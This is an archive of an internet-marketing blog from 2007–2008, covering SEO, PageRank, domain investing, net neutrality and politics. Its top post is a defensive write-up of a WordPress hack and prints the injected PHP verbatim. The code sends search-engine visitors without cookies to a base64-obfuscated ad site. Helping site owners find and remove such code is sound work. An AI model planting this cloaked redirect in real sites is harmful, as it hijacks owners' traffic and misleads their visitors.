Internet Marketing & Advertising

WordPress AnyResults.net Hack - Search Engine Visits Redirecting to AnyResults.net

2008-06-07T07:12:00.000-07:00

WordPress AnyResults.net Hack - Search Engine Visits Redirecting to AnyResults.net

Many sites that are running wordpress blogs have been hacked by a very clever and hidden PHP Injection which is redircting all requests from google, msn, live, altavista, ask, yahoo, and other search engines and redirecting it to 'anyresults.net' a site filled with pay-per-click ads and redirects to other landing pages. This is a very clever trick as visiting a web site either through a direct navigation type in or a bookmark does not display the problem. Only search engine visits are redirected and many site owners are delayed at discovering this problem untill they notice huge dips in traffic or revenue stats.

Many blogs and discussions on this provide very little help in finding this exploit. Some talk about a plug-in file as the colprete, some a wp-options table in the database, none of which were very helpful in this case.

If your blog is effected by this hack check your wp-blog-header.php file for the following code:

< ?php \ $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa"); $ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; } if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>

Remove it completely or comment it out.

This code is using a base64 value for the string 'anyresults.net' which made it much more difficult to find the redirect string in any of the files.

It is recommended that you upgrade all of your WordPress sites to the most current and stable version immediately. This attack is possible for any sites not running the latest version of wordpress so you can understand the urgency of upgrading wordpress sites.

I'd like to plug the webs best web hosting provider Rackspace Server Admins, for helping me troubleshoot and identify this hack. As always, I seriously recommend hosting your websites with Rackspace.

While seeking solutions I discover some more good ideas on keeping your wordpress site safe on Matt Cutts blog topic: Three Tips to Protect Your Wordpress Installation.

http://www.youtube.com/watch?v=SxBslUERo9c

Click here to Register Domain Names at Searchen Networks.

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Long Island Exchange Commercial - Low Res YouTube Version

2008-05-30T17:47:00.000-07:00

52 second spot for Long Island Exchange local television run. Long Island Exchange ( http://www.longislandexchange.com/ ) is the leading resource on Long Island New York for news and business. Find Long Island news, check local weather, real estate, classifieds, events, extensive town details, chat, find out what's happening on Long Island.

http://www.youtube.com/watch?v=SxBslUERo9c (no click)

Sell Your Website for Fast Cash

2008-05-13T16:35:00.000-07:00

Do you own or maintain a web site you'd like to sell?

Many web developers own and maintain web sites they would rather sell than continue developing. Plans change, new ideas take priority, and loss of interest in a topic can drive a web site owner to decide to sell a project rather than continue building it. Let's face it, the internet is not as easy as it used to be. In the old days (just a few years ago) owning your own domain name was half the battle. Now competition is fierce, search engines are harder to dominate, and visibility and competition are taking on new meaning. These are just some of the reasons you could be considering selling your web site.

For which ever reason my apply to you, we've created a simple online solution to selling and turning a profit on that site that's clogging up space on your server or hosting account.

A new service called www.cashforwebsite.com will evaluate your site for a quick and simple acquisition. If you are interested in selling your website, then click here to submit your request. If you are not sure about this service and or have questions about the process, visit the frequently asked questions section for more info.

Sellers accepting Paypal funds transfer could have a cash offer in as little as 24 hours.

Understanding Search Engines Algorithms

2008-04-02T16:41:00.000-07:00

Every computer program is the realization of an algorithm, which in turn is the logic for performing a particular task as being conceived by a programmer in his or her mind. Similarly, search engine bots, which are software themselves, are built based on algorithms, often referred to as a search engine algorithm. The search engine algorithm specifies how to categorically analyze each website based on a variety of factors, and decides its relevance in comparison to other similar sites on the Internet. It is thought that Google has hundreds, if not thousands of criteria when evaluating a website, which then allows is to assign a score or measure of importance.

Search engines – again for example Google – indicate the importance or relevance of a website using a measure and Google trademarked term called Page Rank (PR) which appears to have a scale of 1 - 10. It is calculated by Google's computer search engine bots by taking into consideration different factors pertaining to particular websites such as word count, meta tags, age, back links, outbound links, graphic content, total number of pages, and much more. Google then uses this data to rank websites which it feels are popular and/or have relevant content while also having a higher page ranking. There are many other factors which Google considers before ranking a website, most of which are kept secret by the company so as to preempt attempts of reverse engineering – also called search engine optimization - by webmasters and web designers.

These Computer algorithms used by search engines are based on very complex mathematical equations, usually designed by the best minds in computer engineering. Some have said that Google has a habit of seeking advanced individuals with even scientific military background to build them. Most search engine algorithms of various search engines like MSN or Yahoo work entirely different, thus gauging the importance of a website in other ways. That is why a web page that gets listed on the top 10 in Google search results might not occupy a similar spot when searched in MSN, Ask or Yahoo. At best, there could be similar factors that might be considered by different search engine algorithms relating to a web page while ranking it, but, when taken wholly, it is different. In my opinion, it has become almost common knowledge that Google is the most sophisticated of all search engines delivering the best results. Many people believe that even if just subconsciously, those seeking important information often resort to Google which has mostly coined the terms "I Googled it" or "I Googled your name on the internet". After all, everyone has their favorite search engine, but when it's time to get serious about research, Google is the way to go.

For example, there has been studies conducted which measured click-through rates on Google search results verses Yahoo search results. Yahoo had a higher click through rate, and some thought that it indicated that Yahoo was a better search engine, delivering more clicks, even though research has shown Google to have far more traffic. In reality, the click through discrepancy in only an indication of superior results on search result pages themselves where an answer to a search is mostly shown in bold text and contained right within the snippet provided on the search page, preventing even the need to visit a listed page for an answer to a query. Google is about speed and accuracy.

It is also important to remember that search engine algorithms, as being used by top search engines, won't remain the same always. In order to beat search engine optimization attempts made by web designers, and also to enhance the page ranking or web page indexing methods, search engines frequently change their algorithms. So, if you observe that your site is not occupying the slot you expect it to be amongst search engine results, one of the very likely reasons for this could be a change in the search engines algorithm. This is also due to the arrival of thousands of new daily additions of web pages to cyberspace that are or could be a better fit, but the former is still a valid and likely possibility.

In conclusion, search engine algorithms are complex measuring programs which assign a score of quality in order to deliver results to questions. As a web site owner, while it is important to understand algorithms, it is also best to make a search engines job easier by focusing on what the algorithm itself will be looking for on your pages, and leave every clue possible that it is there. For example, if you have a helpful graph on your web page, don't just through the graph on the page and wait for the search engine to figure it out and the traffic to pour in. Name your image file name with the keyword "graph.jpg", call the page graph.html, link to the page with the word "graph", and use meta tags that contain the word "graph". Make the job easy and remember that algorithms don't look, they only read and count.

The Anti-Phishing Consumer Protection Act of 2008

2008-03-02T03:26:00.000-08:00

The easiest way for well-financed people to take away your domain assets without paying for them is to get language favoring their agenda slipped into an otherwise well-intentioned bill like this one.

Have you ever received a suspicious email from a financial institution asking you to log in to update your account only to realize that the website listed in the email that you clicked to is a fake? Well, you're not alone - millions of people get them almost every day, and they are intended to trick you into logging in to a fake system so these criminals who send e-mails like these can steal your passwords and ultimately unlock your financial and personal information.

According to Gartner Inc., (noted in BILL S.2661), between August 2006 and August 2007, roughly 3,500,000 United States computer users were victims of phishing scams and suffered losses totaling $3,200,000,000.

Well, there are new laws finally being introduced to help law enforcement fight back against the rapidly evolving internet and those who use it to promote similar or confusingly similar domain names in an attempt to appear as authentic businesses and trusted sites with the intentions to "trick" or "fool" the public.

As a consumer and long time educator about how to spot these "spoof" attempts, I'm excited to see that there’s light at the end of the tunnel in that these phishers and criminals will likely have less at there disposal in the near future as they will be easier to identify, and law enforcement will have swifter success and offer more aggressive penalties to inflict if and when the offenders are prosecuted; up to 2 Million dollars in Statutory Damages can be awarded according to the bill. Statutory damages are for cases where calculating a correct sum is deemed difficult and according to Wikipedia - is popular in Trademark and Copyright cases.

But ----- And This is a Tremendouse But Factor ----- as a domain name owner and investor, I'm worried about some of the wording used in this legislation being introduced and how it might effect legitimate domain owners as well as those who own generic domains or geographic domains which can easily be confused with a host of other businesses, products, or even state and city websites.

Here’s a loose example without pointing out any marks: How would you like to own a superstar domain name like somewherecity.com which you registered through your entrepreneurial spirit and educated foresight 10, maybe 15 years ago and "somewhere city" (Think oklahomacity.com or newyorkcity.com) alleges that it's a bit too confusing for the public who think they are on the actual city web site. Well - put your seat belt on, because this new legislation, although well intentioned as a tool against phishers, can make it a whole lot easier for "government offices, non profit organizations, businesses, and other entities" (that's about everyone) who wish to question your rights to a domain name claim how much better the world might be if it belonged to them. The overbroad and unnecessary trademark-like provisions of this bill is a recipe for massive reverse domain name hijacking by large corporations and are therefore a direct threat to the more than $10 billion in asset value created by the entrepreneurial ranks of professional domain name investors and developers.

Oddly, the bill (BILL S.2661) starts out pretty clear about phishing and identity theft but than seems overwhelmingly more focused towards Trademarks, cyber-squatting, fines and litigation over the actual disputed domains and agencies who have specific rights to enforce the bill more than the actual criminal element involved in the phishing practices themselves and penalties for related participation. Where this is all going, I’m just not sure.

You see, here it is 2008 where the internet has come full circle. By now most of the big companies have realized that they completely missed the boat on registering domain names. They second guessed the internet, and are looking to enact legislation to better tip the scale in favor of trademark and brand owners when the current laws clearly and accurately protect them. Better tipping the scale will help enable these large companies to get a hold on domains they once thought were not important as it is now clear that good domain names have become indispensable for business.

According to the Internet Commerce Association (InternetCommerce.org), Trademark owners already prevail in 85% of all UDRP complaints and nearly 100% of all ACPA cases. Yet some apparently now wish to establish a new regime for contesting allegedly “infringing” domains that is tilted even more in their favor by denying basic due process and substantive protections to domain name registrants – and that provides the possibility that they can use their power and influence to sway public officials to expend taxpayer dollars in defense of private intellectual property rights.

The Internet Commerce Association response to the proposed bill was posted at InternetCommerce.org. The opening paragraphs from that statement are especially important for understanding what is at stake with the Snowe bill (S.2661):

"Internet Commerce Association strongly supports efforts to thwart trademark infringement, criminal phishing schemes, and the furnishing of inaccurate WHOIS database information. S. 2661, however, contains provisions that are largely unrelated to these objectives and that radically and unnecessarily expand the rights of trademark owners to essentially provide them with monopoly rights on registered trademarks to the detriment of millions of individuals and businesses engaged in lawful and legitimate Internet commerce."

For me, the whole issue came to light when I was reading the lowdown report on DNJournal.com, the largest Domain Industry Online Magazine for domain enthusiasts, investors, and professionals.

"It is time to join the fight and protect what you have earned through your foresight and sizeable investment in this space, or accept the consequences and say "oh well, it was fun while it lasted". "The downside of having valuable assets is there are people who will try to take them away from you any way they can. It's happening now and the problem will only get worse if you don't stand up and start defending yourself, your business and your industry." – said Ron Jackson of DNJournal

I'm very familiar with the good intentions of Sen. Olympia Snowe (R-Maine) who has been a major advocate for Net Neutrality provisions which help to keep the internet open, safe and free for all, pushing back on corporate interests like the Telecom Industry, and lobbyists, but this bill has the potential of being massively misused against domain owners and those who conduct legitimate business online through Domain Asset Management.

This bill, at the very least, needs to be reworked to include a burden of proof that the domain owner is or has used the domain in "bad faith" or has been engaged in "phishing" practices to defraud the public. The bill still needs to clear hurdles before being passed, so now is the time the domain industry needs to band together to protect the rights of legitimate domain owners and make sure the language in the bill is modified. Everyone should be against Anti-Phishing regulations, but the infringement language should be modified first to not put current names at risk.

The Anti-Phishing Consumer Protection Act of 2008 read the PDF Snowe bill (S.2661):

Full ICA response and detailed summary of the legislation read the responce to(S.2661):

For All Those Google PR Junkies Out There

2008-01-18T06:39:00.000-08:00

Many people have been commenting on forums, blogs, and message boards about the recent Google PR changes. I'm actually surprised there hasn't been even more buzz about it, because it looks that a lot of web sites and internal pages have indeed changed in PR levels, but it doesn't seem like it was a stand alone “Google Pagerank Update”. It looked to me more like a finish on what was left undone on the last update.

I found pages that went up and pages that went down. The pages that went down appeared to be pages I thought would have gone down last time, but somehow didn't, as well as some pages that I thought should have gone up, but had not gone up - now it seems they have finally gotten some PR like I thought they should have.

BUT – there’s definitely some pages that lost PR all together that I did not expect that to happen to. A lot of pages went gray, almost like their banned, but their still in the index, rank, and look fine. I can only guess that these are pages that may not have been linked to enough from internal link structures or pages that did not acquire inbound links from out side sources; or possibly, pages that did not change or update enough to retain their PR.

This could be a new sophisticated way of measuring whether a page that was once important, is still important. In my opinion, I don't think Google wants un-warranted PR just floating around on pages with all this stress on link and PR buying/selling on their to-do list. These are of course just guesses on my part, but educated guesses. Like everyone else, I'm trying to make some sense out of it so that I can feel like I have a glimmer of hope in knowing what in the world Google is up to. But it's all speculation right now. But again this is what I am seeing.
I really think it has to do with one or all of these factors:

Not enough new links in
Week internal link structure
Not enough updates

All in all, I really don’t see any drastic importance in any of this. The most important thing is that a site owners traffic should not change either way, but for those people who judge sites strictly on PR, these gray bars could be a bit confusing. Many people, one being a close associate of mine, reminded me that some people believe that the infamous gray bar is a sign of Google banned pages; a sign of what could be the worst penalty you could receive. I say, it’s just a sign that what made since yesterday, may not make since today. My advice still doesn’t change much. Build a great site, with excellent content and value for both the search engines and your visitors, and you’ll always find yourself in “good position”.

Search Engine Optimization

2008-01-08T08:11:00.000-08:00

I'm pretty much board on my flight, so I'll update this blog with a little discussion on Search Engine Optimization.

Search engine optimization can take several months to yeild results. Many people in the market for (SEO) Search Engine Optimization do not know exactly what they are buying. They only know that search engine optimization is something in todays hot business discussion.

Search engines once seemed so trivial and companies basically laughed at the idea of using them for business. Ironically, it's those companies who are activelly seeking higher search rankings the most.

Getting to the top is what matters. But is getting there realistic, or can it be something a business can realistically count on with hired help, or is in-house staff necessary? The answer is Yes, but it greatly depends on what companies you work with.

SEO in general, as a business service has gotten a bad rap over the last few years, mostly because companies selling it aren't interested in their customers real results. They're selling a service the clients doesn't see, and primarily have trouble measuring - and they take advantage of this. They've got flashing looking folders, and neat graphs to anylise, but when it comes to putting you first - they're second rate!

It is very important to fully understand not only the process of SEO, but the idea of what it really is, how it works, and why it works insome cases and not others.

Long term results are only likely for those who understand both the why and the how. Hiring a search engine marketing company who will put your interests first makes finding the needle in the haystack that much more difficult.

TDNAM Auctions - The Domain Aftermarket

2007-12-04T14:13:00.000-08:00

Completed my first TDNAM auction a few days ago. I had a bid in on a domain that I really wanted by backordering it. The Godaddy domain process is that if a domain backorder comes in on a domain that's getting ready to drop (expire), Godaddy automatically lists the domain on TDNAM and applies a first bid for you at $10.00. Now you've got to fight for the name. A few days into the auction, I was outbid by another party for the domain and I chose to wait till the very end to place my next bid.

The auction was to close on November 29th, so I waited till the last 20 minuets and placed a bid which returned me to the current high bidder position. The auction quickly went from $20.00 to $325.00

From the process, I learned that in these TDNAM auctions, each time a bid is made, the auction extends by 2.5 minuets until a final high bid is accomplished. I was a bit skeptical that Godaddy may have saw my behind the scenes $355.00 high bid in the system and out bid me just enough to get me up near under that figure. Either that, or the person placed 10 - 15 bids to try and out bid me and then just gave up, which may surely have been the case. If not, what Godaddy didn't know was that I was ready to go to $1,000 or more on this particular name, because I really wanted it as it is a plural version of one of my current domains.

One thing that the TDNAM experience really lacks in my opinion is an immediate delivery of the domain you win. Although I was the high bidder, I have not yet received the domain transfer yet, but am expecting it by December 8th. There actually is no guarantee that I will even receive the name as there is a few days left for the original owner to reclaim the name, which is very unlikely since they have let it go this far, but in my opinion, TDNAM needs to work to get immediate delivery of these domains names to their winners, because I would be much more likely to spend a whole lot more money there if they did so.

Starting a Web Site from Scratch for Beginners

2007-11-14T06:02:00.000-08:00

If your company isn't on the web just yet, than there is no better time than right now to put a plan into action and move your business online. Starting from scratch isn't as difficult as you may think. It all begins with a name for your web site. Choosing a domain name is an important step in the process of moving your business online so take some time to figure out what your .com name will be. When you decide, click here to register a domain name and own the rights to use the name for as little as $8.95 per year.

After registering your domain name, you will need to designate a place on the web to host your website. A website is a series of documents intended to be viewed online. Just as word documents are in Word Perfect format, and Microsoft word are in MS Word format, documents for the web are based on HTML (HyperText Markup Language). Setting up a hosting account will enable you to upload HTML files and other documents to a place on the world wide web in order to allow the public to view your website. Your website is simply a series of web documents linked together. Instead of turning pages of a book, browsing online from link to link enables you to navigate from page to page. Setting up a hosting account will enable you to begin placing these files together on the web and your new domain name will communicate with a web browser (like Internet Explorer or AOL), and instruct the internet where to connect in order to view your files. Web hosting accounts can be rented on a per month basis.

If you’re interested in building your own website from scratch, you can do this by purchasing a web hosting account which includes web site creation software. Web site creation software or also referred to as web builder programs will allow you to create a HTML document with little or no knowledge of writing HTML or in the format that web documents require. Web site builder programs will allow you to simply 'click n build' a HTML document and link them together essentially creating a group of web documents which will make up your web site. Most quality web builder programs will include web hosting.

Following the steps above shows how anyone can set-up, build, and create a website on the internet with little or no experience and at very low cost. After all is said and done, directing a sophisticated internet advertising campaign towards the promotion of your web site can immediately start driving sales and leads to your business creating overall success for your venture. With the growth of the web, it essential to take the necessary steps to build, create, and promote your business and services online. Following the above steps will enable those with limited means to surprise themselves and just how much you can get accomplished if you take the time and initiative to get started.

The Recent Google Pagerank Phenomenon

2007-11-11T11:47:00.000-08:00

So what's all this Google Pagerank buzzing about?

There has been a lot of heated discussion about the Google Pagerank Algorithm and how this latest update which took place on 10/28/07 sometime around 10:00 PM Eastern has actually changed the search engine optimization and search engine marketing industry. It appears that there has been a major change to the calculation and the assigning methods which Google uses to evaluate, judge, and assign pagerank to a website and its internal pages.

The Google Pagerank indicator, which is the green bar you sometimes see on websites and can always find on the Google Toolbar became a publicly available phenomenon sometime around 2004, but the idea behind it started long before at Stanford University by Larry Page and later Sergey Brin as part of a research project about a new kind of search engine (Google). The project started in 1995.

The Google description of PageRank is as follows:

“PageRank relies on the uniquely democratic nature of the web by using its vast link structure as an indicator of an individual page's value. In essence, Google interprets a link from page A to page B as a vote, by page A, for page B. But, Google looks at more than the sheer volume of votes, or links a page receives; it also analyzes the page that casts the vote. Votes cast by pages that are themselves "important" weigh more heavily and help to make other pages "important"."

Pagerank has become the target of much scrutiny through the years because as noted above, becoming "important" to Google can literally make or break an online business entity, and thus levels of pagerank can directly effect internet commerce and the decision making process of those who trade and do business online.

Fact - Pagerank can and does affect business volume and revenue.

But this is far from what Pagerank was intended to be used for and I highly doubt very much that Google could foresee what was eventually to become a manipulation of something that clearly belonged to them.

As far as I can tell, or at least in my opinion, Pagerank was created to assign a measure of importance to a website or webpage in an effort to help the Google algorithm rank pages in particular orders based on merit - using the link structure of the web to simulate an actual humans opinion on a website by counting links as votes. The entire web 2.0 craze revolves on user interaction and voting as a means of judging content and Google was clearly the beginner in the field. After the effectiveness of pagerank became reliable, it was introduced visibly to share with internet users and offers a glimpse of what Google would used to make decisions. I believe that to this day it greatly helps people get a quick glimpse and idea of how good a website might be, or at least, what Google thinks of it.

Shortly after it was released, it did not take long for the web community to form a unique and amazing connection to pagerank. Thousands of web based tools hit the net for checking live pagerank levels, when they changed, and even prediction measurements for what pagerank was likely to be next time Google updated it. The craze of Google pagerank going up and down began, with immediate gains in moral when a site owners pagerank increased and significant lows when it dropped. It is plain to see that for some people you can actually see emotional changes linked to pagerank variations as in when pagerank levels were high and then dropped - some feel or felt it was stolen from them. This may sound hard to believe but it is very true.

As Google pagerank began to get manipulated for uses not originally intended by Google, it seemed that they started to change the way pagerank data was assigned and made available. Pagerank updates began to take longer than usual and it seemed that Google would be secretly finding new was of preventing the prediction tools to work properly. Google also changed backlink checking abilities on their search engine and began to hide or find necessary to confuse people as to what was happening with the calculations of pagerank.

Pagerank never seemed to change as significantly as it did this last time, and coincidently the update took the longest time ever to be completed. The time to try and figure out what it all means is upon us. Many will say that the whole pagerank craze is a worthless waste of time, and those who study it or depend on it are contributing to the nonsense and hype which surrounds it, but I disagree. As long as pagerank remains a calculation of a measurement of Google, and as long as it has the ability to effect business volume and revenue it can not reasonably be expected to be ignored.

So what do I think changed this last update?

Google states "Google looks at more than the sheer volume of votes, or links a page receives; it also analyzes the page that casts the vote." I think this is truer now than ever before. I believe that Google has based the reputation of pagerank and their entire research skill on this exact concept. I believe that if you can not trust the votes, than you can not trust the ranks, and sites that link and are linked to are being measured like never before.

Bottom line: Build and maintain a high quality site. Stop focusing on pagerank as the be all end all factor - cause it's not. Publish quality content focusing closely on editorial content. Keep it clean, and follow closely to search engine guidelines. It's just not worth it to take chances.

Google To Release (VOIP) Telephone Service

2007-11-09T07:19:00.000-08:00

Is Google getting set to compete with the Telcos changing voice communication forever? It’s starting to look that way.

It's been talked about that Google is secretly planning to eventually launch its own phone service at some point in the future. If so, Google will eventually become an Internet Service Provider (ISP) — enabling them to effectively enter the telecom industry, add a boat load of services to their growing empire, and eliminate the threats against Net Neutrality which they so strongly oppose.

Sources suggest that Google may first introduce its telephone service to users in the United Kingdom, but the actual date when the service will launch and the exact details of the plan are as of yet unknown. The service will be a free, ad supported VoIP service — (technology that that makes it possible to have a telephone conversation over the internet).

Google has released numerous services focusing closely on the telecom and communications industry some of which include a Free 411 Phone Service called GOOG-411, Google Talk which can be used via both a PC and smartphone (BlackBerry.), Google Mobile which brings additional Google services, videos, and software to cell phones, Google SMS - a text message service.

More recently, Google has announced its acquisition of GrandCentral Communications, a company that provides services for managing voice communications. GrandCentral is an innovative service that lets users integrate all of their existing phone numbers and voice mailboxes into one account, which can be accessed from the web. GrandCentral's technology fits well into Google's efforts to provide services that enhance the collaborative exchange of information. The service also assigns unique phone numbers and voicemail services.

Additionally, there has also been a lot of heated discussions over a Google-branded phone called the GPhone, which could be compared to the recent craze over the release of Apple's hugely successful IPhone. As far back as August it was reported that Google Inc. had developed a prototype cell phone that could reach markets within a year, and plans to offer consumers free subscriptions by bundling advertisements with its search engine, e-mail and Web browser software applications.

According to a story published in The Wall Street Journal "Industry watchers have long heard rumors that Google was designing its own mobile phone." Google added fuel to that speculation in July when it announced it was willing to spend $4.6 billion to buy wireless spectrum in a U.S. Federal Communications Commission auction and they have also bought the rights to 270,000 square feet of space at 111 8th avenue in Manhattan, a key New York interconnection facility.

According to LightReading, a source for technology and financial analysis of the communications industry, "Google is building a network so massive that several service provider specialists believe it could end up with one of the world's largest core transport networks, effectively building its own private Internet", reports Light Reading. "Google is in the process of acquiring space in carrier hotels, purchasing dark fiber, and issuing RFPs for network equipment."

With around 60% share of the Internet search market, Google clearly has the critical mass of users and brand strength to make a play in telecom markets around the world. And with a market cap like Google has, the investment or acquisition capital it needs is hardly a problem.

Yah - So I Like This Ron Paul Guy

2007-10-31T23:15:00.000-07:00

I have been following presidential candidate Ron Paul for a few months now. I have to admit that I have never been moved by a presidential candidate or even an election more than I am this time around. No-one ever seemed to make much of a difference to me, at least while I have been at age to care. I feel that until now, no politician has ever showed the honesty and signs of true patriotism more than that of Congressman Ron Paul. When this man speaks, it's clearly not coached or prepared. Paul seems to just tell it how it is - and it makes sense. As an American who believes strongly in freedom and democracy, I like this guy Ron Paul - and I'm going to vote for him.

So being the owner of a quality NY based publication and a Pro Pauler, I asked one of my writers to cover him. "So what do you think of this guy Ron Paul I asked?" Trying to stay neutral, I said: "He's getting a lot of attention and people are talking about him. Let's cover it".

Politics is one of those things you sometimes don't bring up with just anyone because it's often a touchy subject. Anyway - I was promised an article the next day and when the article was delivered, it wasn't as Pro Paul as I had hoped. As a matter of fact, it was just about the complete opposite of what I was looking for, but as the editor-in-chief, I felt I shouldn't dictate the skew of the article. Leave that for Rupert Murdoch.

So I ran it, talk about blowback. It was titled: "Who The Heck Is Ron Paul?" Within 1 hour angry Paulers were writing in from all over the world sparking a next day update to the overwelming responce. And it didn't stop there. A concerned citizen writes in with a rebuttal and very good assessment of why Ron Paul should indeed win the 2008 election titled: "Ron Paul Ain't Gonna Win? Say You Don't Know, Joe!". I decided to publish the readers article despite the fact that we generally never accept writings from the public, let alone publish them right there in the column.

Paul's runaway popularity is growing every day and his chances of beating the other frontrunners are realistic, despite the fact that his mission and presence is often muffled by traditional media.

For more on Ron Paul, check out this video: http://www.youtube.com/watch?v=FG2PUZoukfA

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Internet Marketers of New York Charity Night

2007-10-16T09:04:00.000-07:00

I had the pleasure of attending the Internet Marketers of New York Charity Event last night Monday October 15th. The party was sponsored by Best of The Web and monies collected at the door went to help the Leukemia and Lymphoma Society fight cancer. The event was held at Town Tavern Bar & Grill at 134 West 3rd Street and 6th Ave in New York City.

I had a great time and met some wonderful colleagues there. Although I'm not able to list everyone, some of the people I had a chance to meet and talk with in length were Jason Falls from Social Media Explorer, Drew Hayslip, Aaron Hoffman, and Jonathan Dingman all which are from TLA (Text Link Ads). Matt McGowan from Incisive Media, Jared Del Prete of Best of the Web, Jim Boykin from We Build Pages, and Vanessa Fox previously from Google - now with the real estate site Zillow.

I also briefly met Danny Sullivan, the editor-in-chief of Search Engine Land and Rand Fishkin CEO of SEOmoz, a Seattle-based SEO company - although I really didn't get a chance to talk with these two guys - would like to, maybe next time.

Overall the night went really well. There was a lot going on and the place didn't have much elbo room as the night came to a close. As mentioned before, there was a lot of great people in attendance, many who were getting set for SMX Social Media: New York, October 16th & 17th, 2007.

Anyone I met at this event should feel free to contact me anytime, was a real pleasure to meet them all.

Say Goodbye To The Internet

2007-10-11T07:33:00.000-07:00

The nation’s largest telephone and cable companies — including AT&T, Verizon, Comcast and Time Warner — want to be Internet gatekeepers, deciding which Web sites go fast or slow and which won’t load at all. They want to tax content providers to guarantee speedy delivery of their data. They want to discriminate in favor of their own search engines, Internet phone services, and streaming video — while slowing down or blocking their competitors. These companies have a new vision for the Internet. Instead of an even playing field, they want to reserve express lanes for their own content and services — or those from big corporations that can afford the steep tolls — and leave the rest of us on a winding dirt road. The big phone and cable companies are spending hundreds of millions of dollars lobbying Congress and the Federal Communications Commission to remove and dispose of Net Neutrality laws, putting the future of the Internet at risk.

Without Net Neutrality, your internet service provider will have the right to filter out content they believe may interfere with their own agenda whatever it may be. So in very simple terms, if you are using ComCast to connect to the internet, and ComCast decides one day that they do not like MySpace, or they came out with their own Social Networking site and they would rather you use theirs, ComCast will simply refuse to carry the MySpace service over their network and you will not get MySpace on your computer.

In another example, lets say your Internet Service Provider (ISP) come out with their own online payment service like Paypal. They would actually be able to get away with making the Paypal.com website load really slow on your computer until you get frustrated enough to stop using it. But you could bet their online payment service would run great on your connection. Wouldn't it be easier to just start using theirs? That's right, your ISP will decide what's good for you to see and use, just as they do with Television.

Can you imagine having to actually leave your house and go elsewhere to log onto your favorite websites? Well, act now or you can start planning on it. The days of searching Google and finding everything out there may be coming to an end sometime real soon as the same handful of companies who control radio and television will soon control the internet too. They are putting their big money where it matters in efforts to gain control over what you see and do online and they will not stop until they control the internet.

Find out more: http://www.savenetneutrality.com/

Do something about it: http://www.savetheinternet.com/

Search Engines in General

2007-10-08T16:33:00.000-07:00

Any search engine has basically 3 parts, First is the spider, otherwise called a robot. The spider visits a web page, reads it, and then follows links to other pages within the site. This is what it means when someone refers to a site being "spidered" or "crawled." The spider returns to the site on a regular basis, such as every month or two, to look for changes.

Everything the spider finds goes into the second part of a search engine, the index. The index, sometimes called the database, is like a giant library containing a copy of every web page that the spider finds. If a web page changes, then this book is updated with new information.

Sometimes it can take a while for new pages or changes that the spider finds to be added to the index. Thus, a web page may have been "spidered" but not yet "indexed." Until it is indexed, it is not available to those searching with the search engine.

The third, and trickiest, part of a search engine is the ranking software. This is the program that sifts through the millions of pages recorded in the index to find matches to a search and rank them in order of what it believes is most relevant. All search engines have the basic parts described above, but there are differences in how these parts are tuned. That is why the same search on different search engines often produces different results.

Choosing a Domain Name

2007-09-21T12:19:00.000-07:00

Domain names are not only web addresses. Domain names are the foundation of your online business, so choosing a good domain name is extremely important. Choosing a domain name carelessly is much like building a house on a foundation which was never inspected – you could get your bottom pulled out right from beneath you.

There are many things to consider when choosing a domain name.
They are:

Is my domain name easily memorable?

Are there similar variations of my domain name?

Does my domain name represent what I am selling?

Does my domain name have keywords in it?

Is my domain name likely to perform well in the search engines?

Does someone hold a trademark on my domain name or a word within my domain name?

Domain names should be easy to remember. After all, you may put a decent amount of advertising and investment into promoting your domain name; so you don’t want people to be confused with your domain name and possibly wind up on a different website as a result of YOUR advertising. Make sure you choose a domain name that is easy to remember and is not confusing to spell.

You may also want to make sure your name is not a plural or singular of another domain name. For example, if you decide that you are going to sell vacation packages online through an affiliate program, and you buy the domain name cheapvacations.com (plural), you may want to pick up the domain name cheapvacation.com (singular) as well, because some people will mistake one for the other, so it’s always better to make sure you have both. I have watched many people make this error, and regret it – don’t be one of them!

Having a domain name which represents your products is much better than having a name which fits your company title. SmithInsurance.com is not going to be as effective or valuable as CheapInsurance.com. There are a few reasons for this. Reason one is that the whole concept of the internet is about connecting with people you would ordinarily never have had the opportunity to do so. Having the domain name SmithInsurance.com would be great for the people who already know about the Smith Insurance Company, who are likely to know just where to go to find Smith Insurance online. The problem is, you’re not looking to connect with those who already know about you. You’re looking to connect with the rest of the world who doesn’t yet know about doing business with you, and you would be much better off with a generic domain name like CheapInsurance.com - where you’re likely to connect with new people just looking to buy or get a quote on some cheap insurance, but they have not yet chosen with whom to buy it.

Another reason to use a domain name which contains keywords is that they tend to perform better in the search engines based on their relevance. A domain name like cheapinsurance.com is much more likely to come up in a search engine if someone was searching Google for the term “cheap insurance” than the SmithsInsurance.com domain name. So it’s about visibility. The more you’re seen and found, the more likely you are to sell product, services, etc.

Last but not least, if you’re registering a new domain name for the first time, it would be a very good idea to make sure you do not start building a business on a name that could get taken from you sometime in the future, after you have put an immeasurable amount of sweat and equity in the name. An Example of this would be if you were in the business of selling mini, soft, chewable candies that were imported from Germany, and you decided that the domain name MicroSoftCandies.com would be a great name. Sounds pretty good, but when Microsoft threatens a lawsuit unless you immediately surrender the domain name, you would be thinking differently as this could turn a much anticipated successful business venture into an absolute nightmare. There are strict rules in place that protect domain owners from having to give up domains just because someone else believes it belongs to them, but you can help avoid problems by checking first.

Some domain names also have immeasurable value attached to them. Many people earn a good living simply buying and selling domain names. I have done this for years and currently own hundreds of domain names, most of which I hold for future purposes, but they can be sold or traded at any time for a profit. If you think domain name brokering is for you, look into buying and selling domain names. You can buy and sell domain names free on any domain forum or domain message boards, as well as domain auctions and through other domain brokers.

You can buy domains here at http://domains.searchen.com/ for as little as $6.95 and with a little creativity, a buyer could be right around the corner.

Building Links Aint No Monkey Work

2007-09-17T10:10:00.000-07:00

For a long time now, it's pretty much been a known fact that Google is analyzing inbound links to websites much more carefully than in the past. Some people, like myself, believe that where inbound links are coming from mean much more than how many you have total.

In the past, people thought that building links to your site was all about numbers. People believed, and many still do, that the more links you have pointing to your website, the higher your site will appear in the search engines when people search for terms related to your site - and this was true at one time, but not any more for certain.

Let me give you an example.
I have a relatively new website with about 20 pages of content. This is a new website, so I am already expecting to have to build a reputation with Google, which could take 6 to 9 months on average with what I would call basic online marketing techniques.

